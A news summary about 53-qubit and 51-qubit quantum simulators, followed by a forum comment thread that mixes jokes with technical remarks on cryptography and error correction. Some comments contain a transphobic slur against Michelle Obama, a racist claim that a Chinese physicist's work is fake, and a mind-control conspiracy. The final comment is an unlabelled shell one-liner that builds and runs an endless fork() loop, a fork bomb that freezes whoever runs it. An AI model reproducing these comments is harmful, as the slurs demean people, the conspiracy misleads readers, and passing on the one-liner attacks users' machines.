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Physicists Made An Unprecedented 53 Qubit Quantum Simulator (vice.com)
Two teams of researchers have published papers [1, 2] in the journal Nature detailing how they were able to create unprecedented quantum simulators consisting of over 50 qubits. The University of Maryland team and National Institute of Standards and Technology team -- the two teams behind one of the two new papers -- were able to create a quantum simulator with 53 qubits. Motherboard reports: Quantum simulators are a special type of quantum computer that uses qubits to simulate complex interactions between particles. Qubits are the informational medium of quantum computers, analogous to a bit in an ordinary computer. Yet rather than existing as a 1 or 0, as is the case in a conventional bit, a qubit can exist in some superposition of both of these states at the same time. For the Maryland experiment, each of the qubits was a laser cooled ytterbium ion. Each ion had the same electrical charge, so they repelled one another when placed in close proximity. The system created by Monroe and his colleagues used an electric field to force the repelled ions into neat rows. At this point, lasers are used to manipulate all the ytterbium qubits into the same initial state. Then another set of lasers is used to manipulate the qubits so that they act like atomic magnets, where each ion has a north and south pole. The qubits either orient themselves with their neighboring ions to form a ferromagnet, where their magnetic fields are aligned, or at random. By changing the strength of the laser beams that are manipulating the qubits, the researchers are able to program them to a desired state (in terms of magnetic alignment).
According to Zhexuan Gong, a physicist at the University of Maryland, the 53 qubits can be used to simulate over a quadrillion different magnetic configurations of the qubits, a number that doubles with each additional qubit added to the array. As these types of quantum simulators keep adding more qubits into the mix, they will be able to simulate ever more complex atomic interactions that are far beyond the capabilities of conventional supercomputers and usher in a new era of physics research. Another team from Harvard and Maryland also released a paper today in which it demonstrated a quantum simulator using 51 qubits.
According to Zhexuan Gong, a physicist at the University of Maryland, the 53 qubits can be used to simulate over a quadrillion different magnetic configurations of the qubits, a number that doubles with each additional qubit added to the array. As these types of quantum simulators keep adding more qubits into the mix, they will be able to simulate ever more complex atomic interactions that are far beyond the capabilities of conventional supercomputers and usher in a new era of physics research. Another team from Harvard and Maryland also released a paper today in which it demonstrated a quantum simulator using 51 qubits.
But can it run Crysis?
Sounds like a lot of trouble to reinvent an abbcus (yes, I probably misplelled it. Oops.) It does seem like another small step forward.
For uninitiated, does it mean some of our KeyEx methods that rely on factorization are about to get broken?
Is it false?
Is it ... BOTH!
Scott Aaronson, a prominent quantum computing expert made comments about some very similar work that is relevant https://www.scottaaronson.com/blog/?p=3512. The short summary is that we should expect people to continue to push up how many qubits can be practically simulatable. But that sort of improvement through clever tricks and the like doesn't really do much to address the more interesting issue of quantum supremacy https://en.wikipedia.org/wiki/Quantum_supremacy, whether there are problems that a quantum computer can solve that a classical computer practically cannot. Note that the "practically" in the previous sentence is really important. Everything a quantum computer can do a classical computer can do with exponential slow down; standard conjectures essentially amount to saying that a classical computer cannot do any better than that.
How much qubits do they need to break RSA?
Qubits made so far last fractions of a second.
And it seems this is a qubit simulator? (i.e. no actual quantum states going on)
Is that like having a turtle participate in a simulation of a race car?
Or is there some actual meat here on some way to get more performance out of a conventional computer but performing calculations in an unconventional manner?
No?
Until physicists prove or disprove that claim of quantum computation, it's just a toy that might be more efficient than a classical computer some of the time at the same clock speed and bitrate.
Imagine a Beowulf cluster of these!
The question now is how many bitcoin can I mine with it?
53 qubits ought to be enough for anybody.
PlanetVulkan.com
And lining them like a group of balls on a billiard table. But even if this idea comes true, to being a real regular computer that works on your desktop. Will the Net Neutrality put all this tremendous work in vain?? It's like putting a Tesla that will go 0 to 60 in three seconds. On a road that only goes 10 miles an hour.
I wonder if you can use this same technology to employ line of sight. House to house transmission of data? That would be cool! Game with your neighbors!
That would give them a decent start on building an arq.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
They can bubble sort faster than 'classical' computers. Only sometime the results won't be sorted properly, and often it will be slower than qsort.
Quick take my money, I'm gullible!
I've seen tons of stuff along the lines of "qubit can exist in some superposition of both of these states at the same time" but how can you program that? I've yet to see a decent explaination of how quantum computer really works, inputs-to-answer, it's all too laymanized or too opaque.
But it is also, though less likely, in your own butt simultaneously.
Also Michelle Obama's. Because Moo-shelle is a TRANNY!
How did this get modded up? Quantum computers are not supposed to give results instantly. Even general purpose quantum computer algorithms are expected to not return the best optimization every time, which is why they are proposed as good for problems that are easy to verify but hard to search. E.g. Shor's algorithm for factorization includes the possibility of re-running the algorithm when verification of the result on classical computer fails.
Now that's something to be really excited about!
>... a) They don't get a result instantaneously .......that makes them an analogue computer with MBA spin
>... b) they don't always get the best result of an optimization
>... c) they're brute force solution finders
>
You are forgetting the most important factor - The Chinese Factor
Any research with involvement of any Chinese individual is going to be FAKE and Mr. Zhexuan Gong is a stinking Chinese !
According to John Martinis' (from Google) invited talk to this year's Crypto 2017, building a quantum computer with as many qubits as possible might be good for getting into the headlines, but for being otherwise useful, the qubits' error rate and how long they stay stable is as important. For current sizes 1% error rate might be OK, but as quantum computer become bigger they have to drop below 0.1% for being able to use error correction.
Thanks to error correction there is an important distinction to make between physical (before error correction) and logical (after error correction) qubits. They guys and gals building quantum computer offer physical qubits, but the theorists use logical qubits. If you can factor with few thousand logical qubits, you need a quantum computer with 100,000s to 100 millions physical qubits (how many depend on the error rate).
Comment removed based on user account deletion
Quantum simulators are a special type of quantum computer that uses qubits to simulate complex interactions between particles. Qubits are the informational medium of quantum computers, analogous to a bit in an ordinary computer. Yet rather than existing as a 1 or 0, as is the case in a conventional bit, a qubit can exist in some superposition of both of these states at the same time.
I love how quantum people love writing stuff like this, because if you don't already know exactly what it means, it won't do diddly dick to help you clarify what a quantum computer is anyway.
do mind control and environmental tampering - giving them access to our brains, memories, thoughts, etc.
they've had these quantum computers for ages going back to the 1920s-1950s. it was just kept secret and entirely off the record. It was covered up as a big game of psychic warfare, parapsychology, etc whenever it was used on the world around us.
https://www.trumpsweapon.com/
All I really want to know is when can they laser-cool my beer?
East Coast representing! Git rekt silicon valley! WOOT
According to this, 53 qubits can simulate 1 gram of DNA: https://www.quora.com/Quantum-...
-Myke
FYI 53 cubits is 0.120454 furlongs
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;